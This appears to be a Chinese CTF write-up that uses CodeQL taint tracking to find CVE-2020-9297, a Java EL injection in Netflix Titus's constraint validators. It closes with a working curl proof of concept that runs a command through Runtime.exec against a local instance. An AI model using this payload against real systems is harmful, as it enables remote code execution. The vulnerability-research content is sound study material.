前言

利用 CodeQL 挖掘 CVE-2020-9297 是 Github CTF 中的第四道题目,官方的答案已经公布了 https://securitylab.github.com/ctf/codeql-and-chill/answers, 这里来学习一下解决的思路。

漏洞描述

根据官方的描述,可以看到漏洞的成因在于 Netflix Titus 在使用 Java Bean Validation (JSR 380) 的自定义 约束验证的时候,使用了 ConstraintValidatorContext.buildConstraintViolationWithTemplate() 来渲染报错信息,因此如果该函数的参数是用户可控的话,攻击者就能利用构造出的参数触发 Java EL 的执行,进而触发 RCE。

SchedulingConstraintSetValidator.java 中的这段存在漏洞的代码为例:

@Override
public boolean isValid(Container container, ConstraintValidatorContext context) {
    if (container == null) {
        return true;
    }
    Set<String> common = new HashSet<>(container.getSoftConstraints().keySet());
    common.retainAll(container.getHardConstraints().keySet());
    if (common.isEmpty()) {
        return true;
    }
    context.buildConstraintViolationWithTemplate(
            "Soft and hard constraints not unique. Shared constraints: " + common
    ).addConstraintViolation().disableDefaultConstraintViolation();
    return false;
}

可以看到这里 container 是一个用户可控的参数,然后最终从 container 中获得的 common 会在不经过任何处理后就作为参数传给 buildConstraintViolationWithTemplate() 函数。

利用 CodeQL 进行污点分析

Source

很明显 source 是 isValid 函数的第一个参数,因此如何定位 source 就变成了这样一个问题:如何在对所有接口 javax.validation.ConstraintValidator 的实现中,找到 isValid 函数的实现。

首先先抽象出接口 ConstraintValidator

class TypeConstraintValidator extends Interface {
    TypeConstraintValidator() {
        this.hasQualifiedName("javax.validation", "ConstraintValidator")
    }

    Method getIsValidMethod() {
        result.getDeclaringType() = this and
        result.hasName("isValid")
    }
}

其次,因为我们想找的 source 其实是对该接口的具体实现,所以可以利用 overridesOrInstantiates 来具体判断一个函数是否是对该接口的实现:

class ConstraintValidatorIsValidMethod extends Method {
    ConstraintValidatorIsValidMethod() {
        this.overridesOrInstantiates*(any(TypeConstraintValidator t).getIsValidMethod())
    }
}

最后可以结合对 source 的具体要求:isValid 函数的第一个参数,通过继承自 DataFlow::Node 可以得到对于 source 的定义(这里用 fromSource 限定了一下来源):

class BeanValidationSource extends DataFlow::Node {
    BeanValidationSource() {
        exists(ConstraintValidatorIsValidMethod isValidMethod |
            this.asParameter() = isValidMethod.getParameter(0) and 
            isValidMethod.fromSource()
        )
    }
}

Sink

类似的,先对 ConstraintValidatorContext.buildConstraintViolationWithTemplate() 函数抽象出相应的定义:

class TypeConstraintValidatorContext extends RefType {
    TypeConstraintValidatorContext() {
        this.hasQualifiedName("javax.validation", "ConstraintValidatorContext")
    }
}

class BuildConstraintViolationWithTemplateMethod extends Method {
    BuildConstraintViolationWithTemplateMethod() {
        this.getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext and
        this.hasName("buildConstraintViolationWithTemplate")
    }
}

通过对代码的理解我们可以看到,sink 实际就是 buildConstraintViolationWithTemplate 函数的第一个参数,所以我们可以如下定义:

class TemplateRenderSink extends DataFlow::Node {
    TemplateRenderSink() {
        exists(MethodAccess ma |
            ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod and
            this.asExpr() = ma.getArgument(0)
        )
    }
}

第一次测试

将我们定义的 source 和 sink 结合,定义 TaintConfig 就能开始尝试进行污点分析了:

/**
 * @kind path-problem
 */

import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph

class TypeConstraintValidator extends Interface {
    TypeConstraintValidator() {
        this.hasQualifiedName("javax.validation", "ConstraintValidator")
    }

    Method getIsValidMethod() {
        result.getDeclaringType() = this and
        result.hasName("isValid")
    }
}

class ConstraintValidatorIsValidMethod extends Method {
    ConstraintValidatorIsValidMethod() {
        this.overridesOrInstantiates*(any(TypeConstraintValidator t).getIsValidMethod())
    }
}

class BeanValidationSource extends DataFlow::Node {
    BeanValidationSource() {
        exists(ConstraintValidatorIsValidMethod isValidMethod |
            this.asParameter() = isValidMethod.getParameter(0) and 
            isValidMethod.fromSource()
        )
    }
}

class TypeConstraintValidatorContext extends RefType {
    TypeConstraintValidatorContext() {
        this.hasQualifiedName("javax.validation", "ConstraintValidatorContext")
    }
}

class BuildConstraintViolationWithTemplateMethod extends Method {
    BuildConstraintViolationWithTemplateMethod() {
        this.getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext and
        this.hasName("buildConstraintViolationWithTemplate")
    }
}

class TemplateRenderSink extends DataFlow::Node {
    TemplateRenderSink() {
        exists(MethodAccess ma |
            ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod and
            this.asExpr() = ma.getArgument(0)
        )
    }
}

class TaintConfig extends TaintTracking::Configuration {
    TaintConfig() { this = "TaintConfig" }

    override predicate isSource(DataFlow::Node source) {
        source instanceof BeanValidationSource
    }

    override predicate isSink(DataFlow::Node sink) {
        sink instanceof TemplateRenderSink
    }

    override int explorationLimit() { result = 4}
}

from TaintConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"

结果如图:

很遗憾完全没看到查询后的结果 (T_T)

问题分析

那么现在有必要看一下问题出在哪?

通过阅读代码,可以看到在 containercommon 之间其实存在着非常多次的函数调用,而如果不对这些调用进行分析的话,势必无法找到从 source 到 sink 间的关键数据流:

Set<String> common = new HashSet<>(container.getSoftConstraints().keySet());
common.retainAll(container.getHardConstraints().keySet());

这里我们整理一下需要分析的函数调用:

  1. getSoftConstraints()
  2. keySet()
  3. new HashSet<>()
  4. retainAll()

我们可以结合 CodeQL 提供的 TaintTracking::AdditionalTaintStep 对这些中间调用进行分析:

首先是用通配符 get% 匹配 getSoftConstraints 函数:

class GetterTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
        exists(MethodAccess ma |
            (
                ma.getMethod() instanceof GetterMethod or
                ma.getMethod().getName().matches("get%")
            ) and
            n1.asExpr() = ma.getQualifier() and 
            n2.asExpr() = ma
        )
    }
}

然后是官方提供的 Maps 库来匹配 keySet 函数:

import semmle.code.java.Maps

class MapKeySetCall extends MethodAccess {
    MapKeySetCall() {
        this.getMethod().(MapMethod).getName() = "keySet"
    }
}

class KeySetTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
        exists(MapKeySetCall call |
            n1.asExpr() = call.getQualifier() and
            n2.asExpr() = call
        )
    }
}

下一步是匹配 HashSet 的构造函数,其中上一个节点 n1 需要满足是构造函数的参数:

class HashSetConstructorCall extends Call {
    HashSetConstructorCall() {
        this.(ConstructorCall).getConstructedType().getSourceDeclaration().hasQualifiedName("java.util", "HashSet")
    }
}

class HashSetTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
        exists(HashSetConstructorCall call |
            n1.asExpr() = call.getAnArgument() and
            n2.asExpr() = call
        )
    }
}

最后匹配 retainAll 函数,这里同样使用官方提供的 Collections 库:

import semmle.code.java.Collections

class CollectionRetainAllCall extends MethodAccess {
    CollectionRetainAllCall() {
        this.getMethod().(CollectionMethod).getName() = "retainAll"
    }
}

class CollectionRetainAllTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
        exists(CollectionRetainAllCall ma |
            n1.asExpr() = ma.getAnArgument() and
            n2.asExpr() = ma.getQualifier()
        )
    }
}

第二次实验

成功找到了漏洞点:

漏洞利用

环境构建

# 下载源码
git clone https://github.com/Netflix/titus-control-plane
cd titus-control-plane
# 回退到漏洞修复前的 commit
git reset --hard 8a8bd4c
# 启动 docker
docker-compose up -d

利用

通过对 SchedulingConstraintSetValidator.java 查询交叉引用 ,可以定位到 titus-control-plane/titus-api/src/main/java/com/netflix/titus/api/jobmanager/model/job/Container.java 文件,然后发现 Container 类会作为 JobDescriptor 内的一个字段存在,而 JobDescriptor 对象可以通过 JobManagementResource 这个类内定义的 api 创建:

/.../

package com.netflix.titus.runtime.endpoint.v3.rest;

import ...

@Produces(MediaType.APPLICATION_JSON)
@Consumes(MediaType.APPLICATION_JSON)
@Api(tags = "Job Management")
@Path("/v3")
@Singleton
public class JobManagementResource {

    private final JobServiceGateway jobServiceGateway;
    private final SystemLogService systemLog;
    private final CallMetadataResolver callMetadataResolver;

    @Inject
    public JobManagementResource(JobServiceGateway jobServiceGateway,
                                 SystemLogService systemLog,
                                 CallMetadataResolver callMetadataResolver) {
        this.jobServiceGateway = jobServiceGateway;
        this.systemLog = systemLog;
        this.callMetadataResolver = callMetadataResolver;
    }

    @POST
    @ApiOperation("Create a job")
    @Path("/jobs")
    public Response createJob(JobDescriptor jobDescriptor) {
        String jobId = Responses.fromSingleValueObservable(jobServiceGateway.createJob(jobDescriptor, resolveCallMetadata()));
        return Response.status(Response.Status.ACCEPTED).entity(JobId.newBuilder().setId(jobId).build()).build();
    }
    /* 省略其他代码 */
}

所以漏洞最终的利用逻辑如下:

  1. 通过 POST 请求访问 URL /api/v3/jobs 创建 JobDescriptor 对象
  2. 程序内部由于请求数据而生成的 jobDescriptor.container 会调用 SchedulingConstraintSetValidator.java 类的 isValid 函数进行校验,校验失败,键名作为错误信息通过 buildConstraintViolationWithTemplate(0) 输出
  3. 由于键名是我们构造好的 Java EL 表达式,所以最后该表达式会被执行,进而成功 RCE

RCE - poc

curl --location --request POST 'http://127.0.0.1:7001/api/v3/jobs' \
--header 'Content-Type: application/json' \
--data-raw '{
    "applicationName": "localtest",
    "owner": {
        "teamEmail": "me@me.com"
    },
    "container": {
        "image": {
            "name": "alpine",
            "tag": "latest"
        },
        "entryPoint": [
            "/bin/sleep",
            "1h"
        ],
        "securityProfile": {
            "iamRole": "test-role",
            "securityGroups": [
                "sg-test"
            ]
        },
        "softConstraints": {
            "constraints": {
                "#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": ""
            }
        },
        "hardConstraints": {
            "constraints": {
                "#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": ""
            }
        }
    },
    "batch": {
        "size": 1,
        "runtimeLimitSec": "3600",
        "retryPolicy":{
            "delayed": {
                "delayMs": "1000",
                "retries": 3
            }
        }
    }
}'

可以看到成功在 docker 内创建了 /tmp/pwned 文件,说明 poc 执行成功。

参考链接

点击收藏 | 0 关注 | 1
登录 后跟帖